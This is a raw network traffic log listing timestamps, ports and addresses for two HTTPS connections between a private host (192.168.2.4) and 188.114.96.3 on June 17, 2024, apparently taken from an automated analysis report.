Jun 17, 2024 16:18:48.467276096 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467509985 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467525959 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467549086 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467557907 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467580080 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467593908 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467626095 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467639923 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467654943 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467673063 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467679977 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467725039 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467797995 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467813015 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467832088 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467859983 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467861891 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467869043 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467890978 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467904091 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467911005 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467935085 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467950106 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468158007 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468161106 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468177080 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468204021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468211889 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468231916 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468247890 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468283892 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468301058 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468327999 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468336105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468347073 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468357086 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468364000 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468373060 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468378067 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468404055 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468431950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468512058 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468525887 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468550920 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468556881 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468581915 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468597889 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468668938 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468683004 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468712091 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468717098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468739986 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468755007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468792915 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468847036 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468862057 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468894005 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468900919 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.468921900 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.468938112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469023943 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469038010 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469062090 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469070911 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469091892 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469105959 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469274998 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469289064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469320059 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469329119 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469338894 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469361067 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469361067 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469369888 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469386101 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469414949 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469584942 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469605923 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469630003 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469638109 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469660044 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469671965 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469676018 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469681025 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469696045 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469706059 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469749928 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469753027 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469762087 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469786882 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469801903 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469811916 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.469841957 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.469856977 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470005989 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470022917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470063925 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470073938 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470104933 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470149994 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470164061 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470191956 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470201015 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470217943 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470217943 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470232964 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470238924 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470247984 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470263958 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470293045 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470498085 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470510960 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470546007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470554113 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470585108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470609903 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470630884 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470653057 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470659018 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470685005 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470699072 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470813036 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470824003 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470827103 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470844984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470875978 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470882893 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470916033 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.470952988 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.470967054 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471019983 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471026897 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471060991 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471096039 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471111059 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471132994 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471165895 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471172094 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471206903 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471235991 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471249104 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471282005 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471287966 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471317053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471343994 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471385956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471400023 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471426964 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471432924 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471457005 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471472025 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471576929 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471590996 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471615076 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471621037 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471652031 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471671104 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471784115 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471802950 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471832037 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471839905 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471872091 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471880913 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471929073 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471942902 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471972942 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471977949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.471992970 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.471998930 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.472017050 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.472022057 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.472049952 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.472076893 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.472083092 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.472115993 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.472754002 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.477633953 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:53.503644943 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:53.503690004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:53.503756046 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:53.516135931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:53.516160011 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.131813049 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.131896973 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.135123968 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.135149956 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.135490894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.176662922 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.223748922 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.268507004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367218971 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367352962 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367434978 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367434978 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.367468119 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367511988 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.367546082 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367692947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367770910 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367821932 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.367839098 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367901087 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.367908955 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.367974997 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.368021011 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.368027925 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.483323097 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.483371973 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.483391047 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.483428955 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.483478069 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.483490944 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.483984947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.484029055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.484067917 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.484081984 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.484102011 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.484116077 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.484673023 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.484714031 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.484735012 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.484755993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.484817982 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.484827995 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.485570908 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.485611916 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.485630035 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.485647917 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.485697031 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.485697031 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.485713005 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.485793114 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.486335039 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.486414909 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.486479998 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.486494064 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.566920996 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.566942930 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.600243092 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.600296974 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.600311041 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.600348949 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.600466967 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.601315975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601413012 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601468086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601511955 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.601521015 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601536989 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601577044 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.601586103 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601654053 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.601663113 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601675034 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601718903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.601727009 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.601771116 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604322910 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604335070 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604406118 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604414940 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604459047 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604562044 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604608059 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604624033 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604670048 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604675055 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604686022 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604708910 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604748964 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604788065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604795933 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604811907 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604835033 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604840994 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604862928 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604868889 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604906082 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604912996 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604923964 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604947090 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.604954004 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.604975939 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.606786966 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.606867075 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.606894016 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.606941938 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.717463970 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.717523098 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.717557907 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.717600107 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.717618942 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.717619896 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.717659950 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.717669010 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.717694044 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.717730999 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.717739105 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.717787981 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.718175888 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.718223095 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.718374014 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.718416929 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.718708038 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.718743086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.718756914 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.718765020 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.718797922 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.719063997 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.719108105 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.719377041 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.719415903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.719424963 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.719464064 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.719465017 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.719479084 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.719501019 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.719516993 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.720309973 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.720350027 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.720357895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.720370054 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.720410109 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.720419884 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.720429897 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.720447063 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.720451117 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.720510006 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.720518112 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.720558882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:54.721148968 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:54.721203089 CEST	49733	443	192.168.2.4	188.114.96.3
